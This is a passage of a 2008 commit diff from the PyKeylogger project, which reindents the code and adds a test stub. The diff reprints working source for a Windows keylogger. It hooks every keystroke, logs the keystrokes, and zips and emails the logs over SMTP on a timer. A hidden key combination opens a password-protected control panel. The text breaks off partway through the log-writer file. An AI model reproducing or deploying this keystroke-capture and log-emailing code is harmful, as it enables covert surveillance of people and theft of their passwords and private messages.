- fix controlpanel test code

nanotube [2008-03-07 04:22]
- fix controlpanel test code
- replace all indentation tabs with spaces (as per python style guide pep 8, http://www.python.org/dev/peps/pep-0008/). also makes it consistent with linuxport branch indentation
Filename
controlpanel.py
keylogger.pyw
logwriter.py
version.py
diff --git a/controlpanel.py b/controlpanel.py
index caa3603..f36a689 100644
--- a/controlpanel.py
+++ b/controlpanel.py
@@ -32,186 +32,188 @@ import webbrowser
 from supportscreen import SupportScreen

 class PyKeyloggerControlPanel:
-	def __init__(self, cmdoptions, mainapp):
-		self.cmdoptions=cmdoptions
-		self.mainapp=mainapp
-		self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
+    def __init__(self, cmdoptions, mainapp):
+        self.cmdoptions=cmdoptions
+        self.mainapp=mainapp
+        self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)

-		self.root = Tk()
-		self.root.config(height=20, width=20)
-		self.root.geometry("+200+200")
-		self.root.protocol("WM_DELETE_WINDOW", self.ClosePanel)
-		#self.root.iconify()
-		#if self.panelsettings['General']['Master Password'] != "x\x9c\x03\x00\x00\x00\x00\x01":
-		#	self.PasswordDialog()
-		#print len(self.panelsettings['General']['Master Password'])
-		#print zlib.decompress(self.panelsettings['General']['Master Password'])
-		passcheck = self.PasswordDialog()
-
-		# call the password authentication widget
-		# if password match, then create the main panel
-		if passcheck == 0:
-			self.InitializeMainPanel()
-			self.root.mainloop()
-		elif passcheck == 1:
-			self.ClosePanel()
-
-	def InitializeMainPanel(self):
-		#create the main panel window
-		#root = Tk()
-		#root.title("PyKeylogger Control Panel")
-		# create a menu
+        self.root = Tk()
+        self.root.config(height=20, width=20)
+        self.root.geometry("+200+200")
+        self.root.protocol("WM_DELETE_WINDOW", self.ClosePanel)
+        #self.root.iconify()
+        #if self.panelsettings['General']['Master Password'] != "x\x9c\x03\x00\x00\x00\x00\x01":
+        #    self.PasswordDialog()
+        #print len(self.panelsettings['General']['Master Password'])
+        #print zlib.decompress(self.panelsettings['General']['Master Password'])
+        passcheck = self.PasswordDialog()
+
+        # call the password authentication widget
+        # if password match, then create the main panel
+        if passcheck == 0:
+            self.InitializeMainPanel()
+            self.root.mainloop()
+        elif passcheck == 1:
+            self.ClosePanel()
+
+    def InitializeMainPanel(self):
+        #create the main panel window
+        #root = Tk()
+        #root.title("PyKeylogger Control Panel")
+        # create a menu

-		self.root.title("PyKeylogger Control Panel")
-		self.root.config(height=200, width=200)
-
-		menu = Menu(self.root)
-		self.root.config(menu=menu)
+        self.root.title("PyKeylogger Control Panel")
+        self.root.config(height=200, width=200)
+
+        menu = Menu(self.root)
+        self.root.config(menu=menu)

-		actionmenu = Menu(menu)
-		menu.add_cascade(label="Actions", menu=actionmenu)
-		actionmenu.add_command(label="Flush write buffers", command=Command(self.mainapp.lw.FlushLogWriteBuffers, "Flushing write buffers at command from control panel."))
-		actionmenu.add_command(label="Zip Logs", command=Command(self.mainapp.lw.ZipLogFiles))
-		actionmenu.add_command(label="Send logs by email", command=Command(self.mainapp.lw.SendZipByEmail))
-		#actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet
-		#actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet
-		actionmenu.add_command(label="Delete logs older than " + self.panelsettings['Log Maintenance']['Max Log Age'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs))
-		actionmenu.add_command(label="Rotate logfile", command=Command(self.mainapp.lw.RotateLogs))
-		actionmenu.add_separator()
-		actionmenu.add_command(label="Close Control Panel", command=self.ClosePanel)
-		actionmenu.add_command(label="Quit PyKeylogger", command=self.mainapp.stop)
+        actionmenu = Menu(menu)
+        menu.add_cascade(label="Actions", menu=actionmenu)
+        actionmenu.add_command(label="Flush write buffers", command=Command(self.mainapp.lw.FlushLogWriteBuffers, "Flushing write buffers at command from control panel."))
+        actionmenu.add_command(label="Zip Logs", command=Command(self.mainapp.lw.ZipLogFiles))
+        actionmenu.add_command(label="Send logs by email", command=Command(self.mainapp.lw.SendZipByEmail))
+        #actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet
+        #actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet
+        actionmenu.add_command(label="Delete logs older than " + self.panelsettings['Log Maintenance']['Max Log Age'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs))
+        actionmenu.add_command(label="Rotate logfile", command=Command(self.mainapp.lw.RotateLogs))
+        actionmenu.add_separator()
+        actionmenu.add_command(label="Close Control Panel", command=self.ClosePanel)
+        actionmenu.add_command(label="Quit PyKeylogger", command=self.mainapp.stop)

-		optionsmenu = Menu(menu)
-		menu.add_cascade(label="Configuration", menu=optionsmenu)
-		for section in self.panelsettings.sections:
-			optionsmenu.add_command(label=section + " Settings", command=Command(self.CreateConfigPanel, section))
+        optionsmenu = Menu(menu)
+        menu.add_cascade(label="Configuration", menu=optionsmenu)
+        for section in self.panelsettings.sections:
+            optionsmenu.add_command(label=section + " Settings", command=Command(self.CreateConfigPanel, section))

-		helpmenu = Menu(menu)
-		menu.add_cascade(label="Help", menu=helpmenu)
-		helpmenu.add_command(label="Manual [Web-based]", command=Command(webbrowser.open, "http://pykeylogger.sourceforge.net/wiki/index.php/PyKeylogger:Usage_Instructions"))
-		helpmenu.add_command(label="About", command=Command(SupportScreen, self.root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35))
+        helpmenu = Menu(menu)
+        menu.add_cascade(label="Help", menu=helpmenu)
+        helpmenu.add_command(label="Manual [Web-based]", command=Command(webbrowser.open, "http://pykeylogger.sourceforge.net/wiki/index.php/PyKeylogger:Usage_Instructions"))
+        helpmenu.add_command(label="About", command=Command(SupportScreen, self.root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35))

-	def PasswordDialog(self):
-		#passroot=Tk()
-		#passroot.title("Enter Password")
-		mypassword = mytkSimpleDialog.askstring("Enter Password", "Password:", show="*", rootx_offset=-20, rooty_offset=-35)
-		if mypassword != myutils.password_recover(self.panelsettings['General']['Master Password']):
-			if mypassword != None:
-				tkMessageBox.showerror("Incorrect Password", "Incorrect Password")
-			return 1
-		else:
-			return 0
-
-	def ClosePanel(self):
-		self.mainapp.panel = False
-		self.root.destroy()
-
-	def callback(self):
-		tkMessageBox.showwarning(title="Not Implemented", message="This feature has not yet been implemented")
-
-	def CreateConfigPanel(self, section):
-
-		# reload the settings so that we are reading from the file,
-		# rather than from the potentially modified but not yet written out configobj
-		del(self.panelsettings)
-		self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
-
-		self.configpanel = ConfigPanel(self.root, title=section + " Settings", settings=self.panelsettings, section=section)
-
+    def PasswordDialog(self):
+        #passroot=Tk()
+        #passroot.title("Enter Password")
+        mypassword = mytkSimpleDialog.askstring("Enter Password", "Password:", show="*", rootx_offset=-20, rooty_offset=-35)
+        if mypassword != myutils.password_recover(self.panelsettings['General']['Master Password']):
+            if mypassword != None:
+                tkMessageBox.showerror("Incorrect Password", "Incorrect Password")
+            return 1
+        else:
+            return 0
+
+    def ClosePanel(self):
+        self.mainapp.panel = False
+        self.root.destroy()
+
+    def callback(self):
+        tkMessageBox.showwarning(title="Not Implemented", message="This feature has not yet been implemented")
+
+    def CreateConfigPanel(self, section):
+
+        # reload the settings so that we are reading from the file,
+        # rather than from the potentially modified but not yet written out configobj
+        del(self.panelsettings)
+        self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
+
+        self.configpanel = ConfigPanel(self.root, title=section + " Settings", settings=self.panelsettings, section=section)
+

 class ConfigPanel(mytkSimpleDialog.Dialog):

-	def __init__(self, parent, settings, section, title=None):
-		self.settings=settings
-		self.section=section
-		mytkSimpleDialog.Dialog.__init__(self, parent, title)
+    def __init__(self, parent, settings, section, title=None):
+        self.settings=settings
+        self.section=section
+        mytkSimpleDialog.Dialog.__init__(self, parent, title)

-	def body(self, master):
-
-		index=0
-		self.entrydict=dict()
-		self.tooltipdict=dict()
-		for key in self.settings[self.section].keys():
-			if key.find("NoDisplay") == -1: #don't want to display settings that shouldn't be changed
-				if key.find("Tooltip") == -1:
-					Label(master, text=key).grid(row=index, sticky=W)
-					self.entrydict[key]=Entry(master)
-					if key.find("Password") == -1:
-						self.entrydict[key].insert(END, self.settings[self.section][key])
-					else:
-						self.entrydict[key].insert(END, myutils.password_recover(self.settings[self.section][key]))
-					self.entrydict[key].grid(row=index, column=1)
-					self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=100, text=self.settings[self.section][key + " Tooltip"])
-					index += 1
-
-	def validate(self):
-
-		for key in self.entrydict.keys():
-			if key.find("Password") == -1:
-				self.settings[self.section][key] = self.entrydict[key].get()
-			else:
-				self.settings[self.section][key] = myutils.password_obfuscate(self.entrydict[key].get())
-
-		errortext="Some of your input contains errors. Detailed error output below.\n\n"
-
-		val = Validator()
-		valresult=self.settings.validate(val, preserve_errors=True)
-		if valresult != True:
-			if valresult.has_key(self.section):
-				sectionval = valresult[self.section]
-				for key in sectionval.keys():
-					if sectionval[key] != True:
-						errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
-				tkMessageBox.showerror("Erroneous input. Please try again.", errortext)
-			return 0
-		else:
-			return 1
-
-	def apply(self):
-		# this is where we write out the config file to disk
-		self.settings.write()
-		tkMessageBox.showinfo("Restart PyKeylogger", "You must restart PyKeylogger for the new settings to take effect.")
+    def body(self, master):
+
+        index=0
+        self.entrydict=dict()
+        self.tooltipdict=dict()
+        for key in self.settings[self.section].keys():
+            if key.find("NoDisplay") == -1: #don't want to display settings that shouldn't be changed
+                if key.find("Tooltip") == -1:
+                    Label(master, text=key).grid(row=index, sticky=W)
+                    self.entrydict[key]=Entry(master)
+                    if key.find("Password") == -1:
+                        self.entrydict[key].insert(END, self.settings[self.section][key])
+                    else:
+                        self.entrydict[key].insert(END, myutils.password_recover(self.settings[self.section][key]))
+                    self.entrydict[key].grid(row=index, column=1)
+                    self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=100, text=self.settings[self.section][key + " Tooltip"])
+                    index += 1
+
+    def validate(self):
+
+        for key in self.entrydict.keys():
+            if key.find("Password") == -1:
+                self.settings[self.section][key] = self.entrydict[key].get()
+            else:
+                self.settings[self.section][key] = myutils.password_obfuscate(self.entrydict[key].get())
+
+        errortext="Some of your input contains errors. Detailed error output below.\n\n"
+
+        val = Validator()
+        valresult=self.settings.validate(val, preserve_errors=True)
+        if valresult != True:
+            if valresult.has_key(self.section):
+                sectionval = valresult[self.section]
+                for key in sectionval.keys():
+                    if sectionval[key] != True:
+                        errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
+                tkMessageBox.showerror("Erroneous input. Please try again.", errortext)
+            return 0
+        else:
+            return 1
+
+    def apply(self):
+        # this is where we write out the config file to disk
+        self.settings.write()
+        tkMessageBox.showinfo("Restart PyKeylogger", "You must restart PyKeylogger for the new settings to take effect.")

 class Command:
-	''' A class we can use to avoid using the tricky "Lambda" expression.
-	"Python and Tkinter Programming" by John Grayson, introduces this
-	idiom.
-
-	Thanks to http://mail.python.org/pipermail/tutor/2001-April/004787.html
-	for this tip.'''
+    ''' A class we can use to avoid using the tricky "Lambda" expression.
+    "Python and Tkinter Programming" by John Grayson, introduces this
+    idiom.
+
+    Thanks to http://mail.python.org/pipermail/tutor/2001-April/004787.html
+    for this tip.'''

-	def __init__(self, func, *args, **kwargs):
-		self.func = func
-		self.args = args
-		self.kwargs = kwargs
+    def __init__(self, func, *args, **kwargs):
+        self.func = func
+        self.args = args
+        self.kwargs = kwargs

-	def __call__(self):
-		apply(self.func, self.args, self.kwargs)
+    def __call__(self):
+        apply(self.func, self.args, self.kwargs)

 if __name__ == '__main__':
-	# some simple testing code
-	settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"}
-	class BlankKeylogger:
-		def stop(self):
-			pass
-		def __init__(self):
-			self.lw=BlankLogWriter()
-
-	class BlankLogWriter:
-		def FlushLogWriteBuffers(self, message):
-			pass
-		def ZipLogFiles(self):
-			pass
-		def SendZipByEmail(self):
-			pass
-		def DeleteOldLogs(self):
-			pass
-
-	class BlankOptions:
-		def __init__(self):
-			self.configfile="pykeylogger.ini"
-			self.configval="pykeylogger.val"
-
-	klobject=BlankKeylogger()
-	cmdoptions=BlankOptions()
-	myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
\ No newline at end of file
+    # some simple testing code
+    settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"}
+    class BlankKeylogger:
+        def stop(self):
+            pass
+        def __init__(self):
+            self.lw=BlankLogWriter()
+
+    class BlankLogWriter:
+        def FlushLogWriteBuffers(self, message):
+            pass
+        def ZipLogFiles(self):
+            pass
+        def SendZipByEmail(self):
+            pass
+        def DeleteOldLogs(self):
+            pass
+        def RotateLogs(self):
+            pass
+
+    class BlankOptions:
+        def __init__(self):
+            self.configfile="pykeylogger.ini"
+            self.configval="pykeylogger.val"
+
+    klobject=BlankKeylogger()
+    cmdoptions=BlankOptions()
+    myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
\ No newline at end of file
diff --git a/keylogger.pyw b/keylogger.pyw
index 7c8478e..4094755 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -40,195 +40,195 @@ import myutils
 import Queue

 class KeyLogger:
-	''' Captures all keystrokes, puts events in Queue for later processing
-	by the LogWriter class
-	'''
-	def __init__(self):
-
-		self.ParseOptions()
-		self.ParseConfigFile()
-		self.ParseControlKey()
-		self.NagscreenLogic()
-		self.q = Queue.Queue(0)
-		self.hm = pyHook.HookManager()
-		self.hm.KeyDown = self.OnKeyDownEvent
-		self.hm.KeyUp = self.OnKeyUpEvent
-
-		if self.settings['General']['Hook Keyboard'] == True:
-			self.hm.HookKeyboard()
-		#if self.options.hookMouse == True:
-		#	self.hm.HookMouse()
-
-		self.lw = LogWriter(self.settings, self.cmdoptions, self.q)
-		self.panel = False
+    ''' Captures all keystrokes, puts events in Queue for later processing
+    by the LogWriter class
+    '''
+    def __init__(self):
+
+        self.ParseOptions()
+        self.ParseConfigFile()
+        self.ParseControlKey()
+        self.NagscreenLogic()
+        self.q = Queue.Queue(0)
+        self.hm = pyHook.HookManager()
+        self.hm.KeyDown = self.OnKeyDownEvent
+        self.hm.KeyUp = self.OnKeyUpEvent
+
+        if self.settings['General']['Hook Keyboard'] == True:
+            self.hm.HookKeyboard()
+        #if self.options.hookMouse == True:
+        #    self.hm.HookMouse()
+
+        self.lw = LogWriter(self.settings, self.cmdoptions, self.q)
+        self.panel = False

-	def start(self):
-		self.lw.start()
-		pythoncom.PumpMessages()
-
-	def ParseControlKey(self):
-		#~ self.controlKeyList = self.settings['General']['Control Key'].split(';')
-		#~ self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
-		#~ self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))
-		self.ControlKeyHash = ControlKeyHash(self.settings['General']['Control Key'])
-
-	#~ def MaintainControlKeyHash(self, event, updown):
-		#~ if updown == 'Down' and event.Key in self.controlKeyHash.keys():
-			#~ self.controlKeyHash[event.Key] = True
-		#~ if updown == 'Up' and event.Key in self.controlKeyHash.keys():
-			#~ self.controlKeyHash[event.Key] = False
+    def start(self):
+        self.lw.start()
+        pythoncom.PumpMessages()
+
+    def ParseControlKey(self):
+        #~ self.controlKeyList = self.settings['General']['Control Key'].split(';')
+        #~ self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
+        #~ self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))
+        self.ControlKeyHash = ControlKeyHash(self.settings['General']['Control Key'])
+
+    #~ def MaintainControlKeyHash(self, event, updown):
+        #~ if updown == 'Down' and event.Key in self.controlKeyHash.keys():
+            #~ self.controlKeyHash[event.Key] = True
+        #~ if updown == 'Up' and event.Key in self.controlKeyHash.keys():
+            #~ self.controlKeyHash[event.Key] = False

-	#~ def CheckForControlEvent(self):
-		#~ if self.cmdoptions.debug:
-			#~ self.lw.PrintDebug("control key status: " + str(self.controlKeyHash))
-		#~ if self.controlKeyHash.values() == [True for item in self.controlKeyHash.keys()]:
-			#~ return True
-		#~ else:
-			#~ return False
+    #~ def CheckForControlEvent(self):
+        #~ if self.cmdoptions.debug:
+            #~ self.lw.PrintDebug("control key status: " + str(self.controlKeyHash))
+        #~ if self.controlKeyHash.values() == [True for item in self.controlKeyHash.keys()]:
+            #~ return True
+        #~ else:
+            #~ return False

-	def OnKeyDownEvent(self, event):
-		'''This function is the stuff that's supposed to happen when a key is pressed.
-		Puts the event in queue, and passes it on.
-		Starts control panel if proper key is pressed.
-		'''
-		#self.lw.WriteToLogFile(event)
-		self.q.put(event)
-
-		#self.MaintainControlKeyHash(event, 'Down')
-		self.ControlKeyHash.update(event)
-
-		#~ if self.CheckForControlEvent():
-		if self.cmdoptions.debug:
-				self.lw.PrintDebug("control key status: " + str(self.ControlKeyHash))
-		if self.ControlKeyHash.check():
-			if not self.panel:
-				self.lw.PrintDebug("starting panel")
-				self.panel = True
-				self.ControlKeyHash.reset()
-				PyKeyloggerControlPanel(self.cmdoptions, self)
+    def OnKeyDownEvent(self, event):
+        '''This function is the stuff that's supposed to happen when a key is pressed.
+        Puts the event in queue, and passes it on.
+        Starts control panel if proper key is pressed.
+        '''
+        #self.lw.WriteToLogFile(event)
+        self.q.put(event)
+
+        #self.MaintainControlKeyHash(event, 'Down')
+        self.ControlKeyHash.update(event)
+
+        #~ if self.CheckForControlEvent():
+        if self.cmdoptions.debug:
+                self.lw.PrintDebug("control key status: " + str(self.ControlKeyHash))
+        if self.ControlKeyHash.check():
+            if not self.panel:
+                self.lw.PrintDebug("starting panel")
+                self.panel = True
+                self.ControlKeyHash.reset()
+                PyKeyloggerControlPanel(self.cmdoptions, self)

-		#~ if event.Key == self.settings['General']['Control Key']:
-			#~ if not self.panel:
-				#~ self.lw.PrintDebug("starting panel\n")
-				#~ self.panel = True
-				#~ PyKeyloggerControlPanel(self.cmdoptions, self)
-
-		return True
-
-	def OnKeyUpEvent(self,event):
-		#self.MaintainControlKeyHash(event, 'Up')
-		self.ControlKeyHash.update(event)
-		return True
-
-	def stop(self):
-		'''Exit cleanly.
-		'''
-		self.lw.cancel()
-		sys.exit()
-
-	def ParseOptions(self):
-		'''Read command line options
-		'''
-		parser = OptionParser(version=version.description + " version " + version.version + " (" + version.url + ").")
-		parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]")
-		parser.add_option("-c", "--configfile", action="store", dest="configfile", help="filename of the configuration ini file. [default: %default]")
-		parser.add_option("-v", "--configval", action="store", dest="configval", help="filename of the configuration validation file. [default: %default]")
-
-		parser.set_defaults(debug=False,
-							configfile="pykeylogger.ini",
-							configval="pykeylogger.val")
-
-		(self.cmdoptions, args) = parser.parse_args()
-
-	def ParseConfigFile(self):
-		'''Read config file options from .ini file.
-		Filename as specified by "--configfile" option, default "pykeylogger.ini".
-		Validation file specified by "--configval" option, default "pykeylogger.val".
-
-		Give detailed error box and exit if validation on the config file fails.
-		'''
+        #~ if event.Key == self.settings['General']['Control Key']:
+            #~ if not self.panel:
+                #~ self.lw.PrintDebug("starting panel\n")
+                #~ self.panel = True
+                #~ PyKeyloggerControlPanel(self.cmdoptions, self)
+
+        return True
+
+    def OnKeyUpEvent(self,event):
+        #self.MaintainControlKeyHash(event, 'Up')
+        self.ControlKeyHash.update(event)
+        return True
+
+    def stop(self):
+        '''Exit cleanly.
+        '''
+        self.lw.cancel()
+        sys.exit()
+
+    def ParseOptions(self):
+        '''Read command line options
+        '''
+        parser = OptionParser(version=version.description + " version " + version.version + " (" + version.url + ").")
+        parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]")
+        parser.add_option("-c", "--configfile", action="store", dest="configfile", help="filename of the configuration ini file. [default: %default]")
+        parser.add_option("-v", "--configval", action="store", dest="configval", help="filename of the configuration validation file. [default: %default]")
+
+        parser.set_defaults(debug=False,
+                            configfile="pykeylogger.ini",
+                            configval="pykeylogger.val")
+
+        (self.cmdoptions, args) = parser.parse_args()
+
+    def ParseConfigFile(self):
+        '''Read config file options from .ini file.
+        Filename as specified by "--configfile" option, default "pykeylogger.ini".
+        Validation file specified by "--configval" option, default "pykeylogger.val".
+
+        Give detailed error box and exit if validation on the config file fails.
+        '''

-		self.settings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
+        self.settings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)

-		# validate the config file
-		errortext="Some of your input contains errors. Detailed error output below.\n\n"
-		val = Validator()
-		valresult = self.settings.validate(val, preserve_errors=True)
-		if valresult != True:
-			for section in valresult.keys():
-				if valresult[section] != True:
-					sectionval = valresult[section]
-					for key in sectionval.keys():
-						if sectionval[key] != True:
-							errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
-			tkMessageBox.showerror("Errors in config file. Exiting.", errortext)
-			sys.exit()
-
-	def NagscreenLogic(self):
-		'''Figure out whether the nagscreen should be shown, and if so, show it.
-		'''
-
-		# Congratulations, you have found the nag control. See, that wasn't so hard, was it? :)
-		#
-		# While I have deliberately made it easy to stop all this nagging and expiration stuff here,
-		# and you are quite entitled to doing just that, I would like to take this final moment
-		# and encourage you once more to support the PyKeylogger project by making a donation.
-
-		# Set this to False to get rid of all nagging.
-		NagMe = True
-
-		if NagMe == True:
-			# first, show the support screen
-			root=Tkinter.Tk()
-			root.geometry("100x100+200+200")
-			warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35)
-			root.destroy()
-			del(warn)
-
-			#set the timer if first use
-			if myutils.password_recover(self.settings['General']['Usage Time Flag NoDisplay']) == "firstuse":
-				self.settings['General']['Usage Time Flag NoDisplay'] = myutils.password_obfuscate(str(time.time()))
-				self.settings.write()
-
-			# then, see if we have "expired"
-			if abs(time.time() - float(myutils.password_recover(self.settings['General']['Usage Time Flag NoDisplay']))) > 345600: #4 days
-				root = Tkinter.Tk()
-				root.geometry("100x100+200+200")
-				warn=ExpirationScreen(root, title="PyKeylogger Has Expired", rootx_offset=-20, rooty_offset=-35)
-				root.destroy()
-				del(warn)
-				sys.exit()
+        # validate the config file
+        errortext="Some of your input contains errors. Detailed error output below.\n\n"
+        val = Validator()
+        valresult = self.settings.validate(val, preserve_errors=True)
+        if valresult != True:
+            for section in valresult.keys():
+                if valresult[section] != True:
+                    sectionval = valresult[section]
+                    for key in sectionval.keys():
+                        if sectionval[key] != True:
+                            errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
+            tkMessageBox.showerror("Errors in config file. Exiting.", errortext)
+            sys.exit()
+
+    def NagscreenLogic(self):
+        '''Figure out whether the nagscreen should be shown, and if so, show it.
+        '''
+
+        # Congratulations, you have found the nag control. See, that wasn't so hard, was it? :)
+        #
+        # While I have deliberately made it easy to stop all this nagging and expiration stuff here,
+        # and you are quite entitled to doing just that, I would like to take this final moment
+        # and encourage you once more to support the PyKeylogger project by making a donation.
+
+        # Set this to False to get rid of all nagging.
+        NagMe = True
+
+        if NagMe == True:
+            # first, show the support screen
+            root=Tkinter.Tk()
+            root.geometry("100x100+200+200")
+            warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35)
+            root.destroy()
+            del(warn)
+
+            #set the timer if first use
+            if myutils.password_recover(self.settings['General']['Usage Time Flag NoDisplay']) == "firstuse":
+                self.settings['General']['Usage Time Flag NoDisplay'] = myutils.password_obfuscate(str(time.time()))
+                self.settings.write()
+
+            # then, see if we have "expired"
+            if abs(time.time() - float(myutils.password_recover(self.settings['General']['Usage Time Flag NoDisplay']))) > 345600: #4 days
+                root = Tkinter.Tk()
+                root.geometry("100x100+200+200")
+                warn=ExpirationScreen(root, title="PyKeylogger Has Expired", rootx_offset=-20, rooty_offset=-35)
+                root.destroy()
+                del(warn)
+                sys.exit()

 class ControlKeyHash:
-	def __init__(self, controlkeysetting):
-		self.controlKeyList = controlkeysetting.split(';')
-		if os.name == 'nt':
-			self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
-		self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))
-
-	def update(self, event):
-		if event.MessageName == 'key down' and event.Key in self.controlKeyHash.keys():
-			self.controlKeyHash[event.Key] = True
-		if event.MessageName == 'key up' and event.Key in self.controlKeyHash.keys():
-			self.controlKeyHash[event.Key] = False
-
-	def reset(self):
-		for key in self.controlKeyHash.keys():
-			self.controlKeyHash[key] = False
-
-	def check(self):
-		if self.controlKeyHash.values() == [True for item in self.controlKeyHash.keys()]:
-			return True
-		else:
-			return False
-
-	def __str__(self):
-		return str(self.controlKeyHash)
+    def __init__(self, controlkeysetting):
+        self.controlKeyList = controlkeysetting.split(';')
+        if os.name == 'nt':
+            self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
+        self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))
+
+    def update(self, event):
+        if event.MessageName == 'key down' and event.Key in self.controlKeyHash.keys():
+            self.controlKeyHash[event.Key] = True
+        if event.MessageName == 'key up' and event.Key in self.controlKeyHash.keys():
+            self.controlKeyHash[event.Key] = False
+
+    def reset(self):
+        for key in self.controlKeyHash.keys():
+            self.controlKeyHash[key] = False
+
+    def check(self):
+        if self.controlKeyHash.values() == [True for item in self.controlKeyHash.keys()]:
+            return True
+        else:
+            return False
+
+    def __str__(self):
+        return str(self.controlKeyHash)

 if __name__ == '__main__':
-
-	kl = KeyLogger()
-	kl.start()
-
-	#if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.
-
\ No newline at end of file
+
+    kl = KeyLogger()
+    kl.start()
+
+    #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.
+
\ No newline at end of file
diff --git a/logwriter.py b/logwriter.py
index 1580ea3..d78265e 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -38,581 +38,581 @@ import mytimer

 # the following are needed for zipping the logfiles
 import zipfile
-
+
 # the following are needed for automatic emailing
 import smtplib

 # python 2.5 does some email things differently from python 2.4 and py2exe doesn't like it.
 # hence, the version check.
 if sys.version_info[0] == 2 and sys.version_info[1] >= 5:
-	from email.mime.multipart import MIMEMultipart
-	from email.mime.base import MIMEBase
-	from email.mime.text import MIMEText
-	from email.utils import COMMASPACE, formatdate
-	import email.encoders as Encoders
-
-	#need these to work around py2exe
-	import email.generator
-	import email.iterators
-	import email.utils
-	import email.base64mime
-
+    from email.mime.multipart import MIMEMultipart
+    from email.mime.base import MIMEBase
+    from email.mime.text import MIMEText
+    from email.utils import COMMASPACE, formatdate
+    import email.encoders as Encoders
+
+    #need these to work around py2exe
+    import email.generator
+    import email.iterators
+    import email.utils
+    import email.base64mime
+
 if sys.version_info[0] == 2 and sys.version_info[1] < 5:
-	# these are for python 2.4 - they don't play nice with python 2.5 + py2exe.
-	from email.MIMEMultipart import MIMEMultipart
-	from email.MIMEBase import MIMEBase
-	from email.MIMEText import MIMEText
-	from email.Utils import COMMASPACE, formatdate
-	from email import Encoders
+    # these are for python 2.4 - they don't play nice with python 2.5 + py2exe.
+    from email.MIMEMultipart import MIMEMultipart
+    from email.MIMEBase import MIMEBase
+    from email.MIMEText import MIMEText
+    from email.Utils import COMMASPACE, formatdate
+    from email import Encoders

 class LogWriter(threading.Thread):
-	'''Manages the writing of log files and logfile maintenance activities.
-	'''
-	def __init__(self, settings, cmdoptions, q):
-		threading.Thread.__init__(self)
-		self.finished = threading.Event()
-
-		self.q = q
-		self.settings = settings
-		self.cmdoptions = cmdoptions
-
-		self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")	  #regexp filter for the non-allowed characters in windows filenames.
-
-		self.createLogger()
-		#self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
-
-		# initialize self.log to None, so that we dont attempt to flush it until it exists, and so we know to open it when it's closed.
-		self.log = None
-
-		# todo: no need for float() typecasting, since that is now taken care by config validation
+    '''Manages the writing of log files and logfile maintenance activities.
+    '''
+    def __init__(self, settings, cmdoptions, q):
+        threading.Thread.__init__(self)
+        self.finished = threading.Event()
+
+        self.q = q
+        self.settings = settings
+        self.cmdoptions = cmdoptions
+
+        self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")      #regexp filter for the non-allowed characters in windows filenames.
+
+        self.createLogger()
+        #self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
+
+        # initialize self.log to None, so that we dont attempt to flush it until it exists, and so we know to open it when it's closed.
+        self.log = None
+
+        # todo: no need for float() typecasting, since that is now taken care by config validation

-		# initialize the automatic zip and email timer, if enabled in .ini
-		if self.settings['E-mail']['SMTP Send Email'] == True:
-			self.emailtimer = mytimer.MyTimer(float(self.settings['E-mail']['Email Interval'])*60*60, 0, self.SendZipByEmail)
-			self.emailtimer.start()
-
-		# initialize automatic old log deletion timer
-		if self.settings['Log Maintenance']['Delete Old Logs'] == True:
-			self.oldlogtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Age Check Interval'])*60*60, 0, self.DeleteOldLogs)
-			self.oldlogtimer.start()
-
-		# initialize the automatic log flushing timer
-		self.flushtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer"])
-		self.flushtimer.start()
-
-		#~ # start the event queue processing
